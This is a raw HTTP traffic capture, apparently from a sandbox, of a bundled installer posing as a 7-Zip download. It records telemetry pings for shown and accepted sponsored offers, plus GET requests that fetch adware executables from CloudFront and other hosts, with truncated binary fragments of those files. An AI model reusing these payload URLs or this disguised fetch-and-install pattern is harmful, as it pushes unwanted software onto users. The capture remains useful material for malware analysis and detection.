Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: download.filesfrog.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:56:56 GMT
Content-Type: image/png
Content-Length: 145
Last-Modified: Mon, 10 Jun 2013 04:13:32 GMT
Connection: close
ETag: "51b5526c-91"
Accept-Ranges: bytes
.PNG........IHDR... ... .....I.......PLTE......U..~...FIDATx^[email protected].
....E..N......Y$.....0.R............=.........H.L........=D.Xg.....IEN
D.B`...



GET /v4/sof-ient/267123711_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.28&update4=chptid,smt HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Sat, 14 Feb 2015 04:01:17 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.86 ms","message":"store 3 action and 5 upd
ate "}..0......


GET /v4/sof-ient/267123711_198339_B48A115F?action1=install.smt HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Sat, 14 Feb 2015 04:01:18 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
4a..{"stats":"ok","time":"111.84 ms","message":"store 1 action and 0 u
pdate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Sat, 14 Feb 2
015 04:01:18 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enc
oding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-ap
i-version: v4..4a..{"stats":"ok","time":"111.84 ms","message":"store 1
 action and 0 update "}..0..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=71390-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 214168
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 71390-285557/285558
Age: 225
X-Cache: Hit from cloudfront
Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: RFCNruVtExWb2EajfQzvgZujORzIz1X8w33lVoX9A5sNJuQnDSDWfA==
..IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.L
.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!..
._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..a
G.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:.
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b.......
IO[[email protected].....].<.........g.mG.
.as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<...
...8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O;
...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O....
0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%i
~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...o
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.if
.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!..
cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:C
p.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...=
.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...Z
y.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq.
zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A....
xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h.
C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@.
n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3G
..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.x
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 1286683
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT
Accept-Ranges: bytes
ETag: "639a3946a47d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:56:56 GMT
X-Cache: Miss from cloudfront
Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: kC80hZqb8mFg8W5qKHTDWkxTAjrFyDgnicQ1w7Mi4_OkKRQbJrMRdA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=71389-142779
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 71391
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 71389-142779/285558
Age: 1
X-Cache: Hit from cloudfront
Via: 1.1 1fcd1033bfe42d3b0b03eb4bfbf9624a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: toTM7byRRxtjPLeR6rWa72n4rZmCz0-pbuw9D--QnJPxPmc_1pl8-Q==
...IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.
L.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!.
.._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..
aG.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b......
.IO[[email protected].....].<.........g.mG
..as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<..
....8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O
;...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O...
.0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%
i~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.i
f.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!.
.cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:
Cp.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...
=.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...
Zy.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq
.zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A...
.xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h
.C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@
.n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3
G..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRtl6lMY2+iPob4twryIF+FfgUdvwQUK8NGq7oOyWUqRtF5R8Ri4uHa/LgCEBBwnU/1VAjXMGAB2OqRdbs= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.usertrust.com


HTTP/1.1 200 OK
Date: Sat, 14 Feb 2015 04:02:03 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Fri, 13 Feb 2015 14:46:20 GMT
Expires: Tue, 17 Feb 2015 14:46:20 GMT
ETag: A0589EFB42B1B8C5E890C49960DD4BA159C88FDE
Cache-Control: max-age=297256,public,no-transform,must-revalidate
X-OCSP-Reponder-ID: h6edcaocsp10
Content-Length: 471
Connection: close
Content-Type: application/ocsp-response
0..........0..... .....0......0...0...... .F....e*F.yG.b.......2015021
3144620Z0s0q0I0... ........m..Lco.>..... _.~..... .F....e*F.yG.b...
.....p.O.T..0`....u.....20150213144620Z....20150217144620Z0...*.H.....
........an..G ..O.!..Qmn..%..29...8{.Y.%xJ..S.....T.n.!X.......8......
.W..Ff[....p.......XB\...........X.t....^.r.r....R....CTW3Z....RY.j..Y
.-J..2P.<..5j'.[.1eW)V.8K....T.......?|o}.B6m.. ...5..1......g.....
..e.. t..........3...........(..a.....5...2......yN.4.v....



GET /sd?is=sm HTTP/1.1
Range: bytes=437376-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 04:01:08 GMT
Date: Sat, 14 Feb 2015 04:01:08 GMT
Content-Range: bytes 437376-583167/583168
Content-Length: 145792
Connection: keep-alive
S0f..SO.....s.....E:y..I...OXz.E..r....L....5..`....#.*Y.'-.U....>.
...*ks..d...#.@..%p....oG..._...<.....M..#...............{......q7.
..,.bOd.........s..8..<..C...e.........q..^1...dR#M..3.=.....j;R...
 ...)....%.-..B..6.X.......5U./.P....R}.'..l..C.,N...$.......Gj.v~ .v;
...uD.G.2.-L....R.[4..P .!Eg..J......j(.q...gEu.?J.T.=.(.2..GC.!...O..
...T...1...5'.^.).O.....:.."...tZ.s..........~e@..........%....F...."n
yw%l.4...O.o{....Pe..d...Y...m.E.......Y..!...g..K...znz....5....l.-s.
......6ONw......,.23.`..zP$cM..n",^./L%p./....W.hol..p)..(.'..B4.F..".
..'.Bp....OB.V......\......_..o.`.. ........*ZGA..2K........Y.s5P.aGD.
._,.. ....G...a/[.k..j.L.........*i".Q5;..&..D..f.gh\......c....>..
.|..c.K..h....4 .U.....7~....l......BQ<......d_.&...!......nEC..S..
^.Sp...m........ _'_......3.><[email protected].......^.~....v
.u.#4..3J...rrh...w......S.....J<.l...fDu........p.3.""(1.M.:. ..t\
2.{p.=.*/c...juSR.q.]....d...r.{[email protected].;.h.
...=.Xx..Z..$.5....3v..v..!..~W.c.G....)yL.^.....w.2...`....;\....H.}z
{.....O ..B..!4:.%.b;.A..T$6..{.D..kq(.M.c'3O..M.n.....s.8.z...o...N.p
...h....oj....A..Y.\......<....{.....E..........S.....QR.~.D.ye&:.`
...........W.."].........?g...nb...S fk.p7...Zr-Y..#H1._&..c.....#3.vS
.......=...$.E......A ..Q.......I[...oCSV....Y. -..O....J.......mOT...
]i....A../..ZqJ.u.).F..mF$@#..w87...S`..OV..........n.VrD...d7.....4..
n(Z).zD....<..P...6..[.....7.P..|./..h.......[|.8..*.0...k......djY
...7......o&/....n/.d.........Gw.QtikjM"..x...g.&....~{k.Wb...!.M.
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=281428-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 40204
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 281428-321631/321632
Age: 477
X-Cache: Hit from cloudfront
Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: _DIg8OfZdNYFYeFxZzBgfMShWuWvyAWpTRAW_BUzKWuefPRUEvxMlw==
.h2..\...........................g2..]...........................f2..[
...............................I3') * )))*))()*   ,6J!54 CBA...jYPQTVT
SkllZTTXRTUiHceWda/..i...u....`..................._<bm....t^..}zy|y
x~....{|yvrrwsqpon....................................................
......................................................................
......................................................................
...................................................................(..
..... ...................................|WR......Q3..O1...b.sP?..Q2..
Q2..Y9..^G......`[email protected]................
..b...c...c...d...c...d...d...s ..x(...>..zZ..........g........x...
$...&...*... ... ...,...-...-.../...0...4...6...I.....................
......................................................................
..~~~.}}}.............................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1


User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 285558
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Age: 149
X-Cache: Hit from cloudfront
Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: uucW-KOYfD3yagYbeIkLFrXSPYPhmOUDQsOc3pQkwCGMO46HrVXy2g==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321632
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-321631/321632
Age: 553
X-Cache: Hit from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ZXiYePcB63L_jg6TKXDl6K9Zz3BE7IIDKc4rrOGJEdHb3JiHGqZl9A==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=241224-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 80408
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 241224-321631/321632
Age: 477
X-Cache: Hit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: vqG4RwnawdMKFplBWjG7DVSF2yp19ikMFXZEq0mxKxWabWHwynB5dA==
.........$C......?AVbad_exception@std@@[email protected]...........
..?...................C...d=C.`=C.\=C.X=C.T=C.P=C.L=C.D=C.<=C.4=C.(
=C..=C..=C..=C..=C..=C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C.|<C.p<C.l<C.h<C.\<C.H<C.<&
lt;C.............4<C.,<C.$<C..<C..<C..<C..<C..;C.
.;C..;C..;C..;C..;C..;C..;C.x;C.p;C.h;C.`;C.X;C.P;C.H;C.@;C.8;C.0;C.(;
C..;C..;C..:C..:C.`;C..:C..:C..:C..:C..:C..:C.x:C.p:C.h:C.T:C.,:C..:C.
......................................................................
........................C...............C...............C.............
..C...............C...................................C..........'C. ,
C..-C...C...C...C. .C.................................................
......................................................................
......................................................................
.....................................abcdefghijklmnopqrstuvwxyz......A
BCDEFGHIJKLMNOPQRSTUVWXYZ.............................................
......................................................................
.................. .C.........`.y.!...............................@~..
............ ...............................@............... .........
......................A.....................[.........................
@~......Q...Q.^. ._.j.2.........................1~......[.B.[.B.[.B.[.
B.[.B.[.B.[.B.[.B.[.B.[.B............../C....../C....../C....../C.
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=032b51a823ded246ba19346b82f99535&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=dff471ae8875df20b51e21b816962f44&tokyo_csrf2_timestamp=1423886467&slot_number=2&index_in_screen=1&index_in_session=2&display_height=90&0.7467430618831574 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/032b51a823ded246ba19346b82f99535?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.1353110465.1423886295.1423886295.1423886295.1; __utmb=1.5.10.1423886295; __utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 04:02:03 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 04:02:03 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=032b51a823ded246ba19346b82f99535&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=dff471ae8875df20b51e21b816962f44&tokyo_csrf2_timestamp=1423886467&slot_number=2&index_in_screen=1&index_in_session=2&0.3324661454424312 HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/032b51a823ded246ba19346b82f99535?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.1353110465.1423886295.1423886295.1423886295.1; __utmb=1.5.10.1423886295; __utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 04:02:09 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 04:02:09 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=107085-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 178473
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 107085-285557/285558
Age: 225
X-Cache: Hit from cloudfront
Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)
X-Amz-Cf-Id: mKxTGEFGTI1YsVXXOWdON52C0eVa5ywzGvov0e54fn8s4KnjYeMczw==
...^]..)..;....h.d1...5^1...B...Q...z.N....WC'./..h......U.S....[...*.
>P.^jM..%i.3T5..w..$.X......?u.U...!.0..s.../..F.....i...k........9
M?.....p..3....J.Q.../s............8.0w2J"h..1...W.#[email protected].,Kao.@..:Kl
...Pk./%[email protected](j8&R..;..KE.UZ..&..........B.Y...'3D.
....K....>..6/......DM.....5B...k.I5.&....3....2..oe\[email protected]...
?...0r..J..ko...Kr.3.?A....um..r6..k......3....tX.....hQV.'.`.....X.3u
[email protected]"}.e..W.......BP.i...(GG%...P.]3".q<.A.l{.
......u..J.J.J.6Z(..-.w......)....nI\Z.B.>.xi#p. .9._(..m......"..c
...AnY.~......;..W....(..".d...EF...2..V....D..I .._..z.Y..o.......^..
.i2.c....'J...0B?............<...TM....T..)....Y../..Xg......>|m
C....O.......-7.z 9A..U..<U......Z.Q.X...i...C...D.s_...^..r..aJ...
.mm......p.......W.......'.*....LA".P......Y5np.z..../ro..>..\.$d-.
i_.g..=...*.]0$.Z:r...D. ..O*i.......B.%..K..^@...6Z....%....c...q...z
.R!].w(}.e.....R}7.c.......-...0/..i.....;..... ...'...tf.=....g>.N
...A........\..vHz.........{5.."s.........R...\.p.xj}...~=..w.V..$%...
.,o..Xa>...8.Q..E.....b.qL.K..a.....o0{...CEd/......J_n.......0T...
.#. .x...k0.....M'yr.X.U..E...oF.z.rE.oX....E...q...M..l*....q...~.`b.
.\..#..kJ..Mlt".P9..B.Y..r.j....Q.Y.1..w...%.x..nH....Mg-....#RZ.g..c.
..`no~.~.=.7y.....cI...jM;.....8.4O.Y...w..5..RZ.}..`..V..z/.{.....t..
y#Vr.9_;.-.G....s..\l^..h.]...{.^...{..`...oae....A...\&|....4.z......
....t.0...MzJ'...!.iW`x.xG#.T.Q...p..<.7...S...... q.6n=m2....o..aW
[email protected]{h;k.o....#.H.".c..<I#.b......].
<<< skipped >>>


GET /files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.inifkhjr.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 04:00:49 GMT
Content-Type: application/octet-stream
Content-Length: 2463400
Last-Modified: Fri, 16 Jan 2015 09:25:11 GMT
Connection: keep-alive
Expires: Mon, 16 Mar 2015 04:00:49 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes
p.y....I^.@..,....s..pG0......V...PL...N..PL...N..PL...N.n..0.@......,
...QO..9}.$...U...ZM\....!../...x...........Sw@.*H&......Kw........p..
.rr.F.n.U...C..N"SPN.?`E.....}[email protected].[..%o....C.....~F...PL...N..
PL...NQ.b.5..kM.QYD........h.;..{.......- .{.tG.K.........|ag12.$.....
.,8..A....W...".$:.[.pJ..s.h..x.4M...-6.4M...-6...R.}.J...PL...N}V.#R.
.m...w......PL...N.i...o)...PL...NJR!Yw..v..PL...N..PL...N..PL...N..PL
...N..PL...N.....3$...PL...N..PL...N..PL...N..d...8"....._r...j...Z...
PL...N.....Tq...&..8.{..E...Qe.t7W...S..PL...N..<....Ncx....z..n..t
!..J...Z.9...PL...N...4.u..5.;.6z..=.. .e..Q* ..`M...PL...N...4.u...iw
U.>..H....f3...PL...N..PL...Nj.G.....bd6..q\..B.=S-....#VY;....PL..
